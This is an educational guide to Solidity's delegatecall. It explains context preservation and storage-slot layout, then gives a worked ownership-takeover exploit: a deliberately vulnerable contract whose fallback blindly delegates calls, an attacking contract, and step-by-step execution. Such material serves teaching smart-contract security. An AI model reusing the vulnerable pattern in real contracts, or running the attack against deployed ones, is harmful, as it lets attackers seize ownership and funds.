Delegatecall Vulnerability - Complete Guide

What is delegatecall?

delegatecall is a special function in Solidity that allows a contract to execute code from another contract while using its own storage.

Regular call vs delegatecall

// Regular CALL
ContractA.call() → Executes in ContractA's context
- Uses ContractA's storage
- msg.sender = caller of ContractA
- Updates ContractA's state

// DELEGATECALL
ContractA.delegatecall(ContractB) → Executes ContractB's code in ContractA's context
- Uses ContractA's storage (NOT ContractB's!)
- msg.sender = original caller (preserved)
- Updates ContractA's state (NOT ContractB's!)

Visual Comparison

REGULAR CALL:
┌─────────┐  call()   ┌─────────┐
│  You    │ ────────> │ Contract│
└─────────┘           │   A     │
                      │ storage │
                      └─────────┘
                      Modifies Contract A's storage

DELEGATECALL:
┌─────────┐           ┌─────────┐
│  You    │           │Contract │
└─────────┘           │   A     │
     │                │ storage │ <- Modifies THIS!
     │                └─────────┘
     │  delegatecall()    ↓
     └──────────────> Uses code from Contract B
                      ┌─────────┐
                      │Contract │
                      │   B     │
                      │  code   │
                      └─────────┘

The Two Critical Rules

Rule 1: Context Preservation

contract Library {
    function getInfo() public view returns (address, address, uint) {
        return (
            address(this),  // Contract making delegatecall
            msg.sender,     // Original caller
            msg.value       // Original value sent
        );
    }
}

contract Caller {
    function test() public payable {
        (bool success, bytes memory data) = address(library).delegatecall(
            abi.encodeWithSignature("getInfo()")
        );
        // address(this) = Caller's address (NOT Library's!)
        // msg.sender = You (NOT Caller!)
        // msg.value = What you sent (preserved!)
    }
}

Rule 2: Storage Layout MUST Match

// ✅ CORRECT - Same layout
contract Library {
    uint256 public num;    // Slot 0
    address public owner;  // Slot 1
}

contract User {
    uint256 public num;    // Slot 0
    address public owner;  // Slot 1

    function updateNum(uint _num) public {
        library.delegatecall(abi.encodeWithSignature("setNum(uint256)", _num));
        // Updates User's slot 0 correctly!
    }
}

// ❌ WRONG - Different layout
contract Library {
    uint256 public num;    // Slot 0
    address public owner;  // Slot 1
}

contract User {
    address public owner;  // Slot 0 <- MISMATCH!
    uint256 public num;    // Slot 1 <- MISMATCH!

    function updateNum(uint _num) public {
        library.delegatecall(abi.encodeWithSignature("setNum(uint256)", _num));
        // Updates User's slot 0 (owner) instead of slot 1 (num)!
        // CATASTROPHIC!
    }
}

Exploit #1: Simple Ownership Takeover

The Vulnerable Contract

contract Lib {
    address public owner;  // Slot 0

    function pwn() public {
        owner = msg.sender;  // Writes to slot 0
    }
}

contract HackMe {
    address public owner;  // Slot 0
    Lib public lib;        // Slot 1

    constructor(Lib _lib) {
        owner = msg.sender;
        lib = _lib;
    }

    fallback() external payable {
        // ❌ DANGEROUS: blindly delegates all calls
        address(lib).delegatecall(msg.data);
    }
}

The Attack

contract Attack {
    address public hackMe;

    constructor(address _hackMe) {
        hackMe = _hackMe;
    }

    function attack() public {
        // Call HackMe's fallback with pwn() signature
        hackMe.call(abi.encodeWithSignature("pwn()"));
    }
}

Step-by-Step Execution

1. Eve calls Attack.attack()

2. Attack calls HackMe.fallback with "pwn()" signature

3. HackMe.fallback executes:
   lib.delegatecall(msg.data)  // msg.data = "pwn()"

4. Delegatecall executes Lib.pwn() in HackMe's context:
   - Uses HackMe's storage
   - msg.sender = Attack (preserved through delegatecall)
   - owner = msg.sender  // Writes to HackMe's slot 0!

5. Result: HackMe.owner = Attack ✅ Hacked!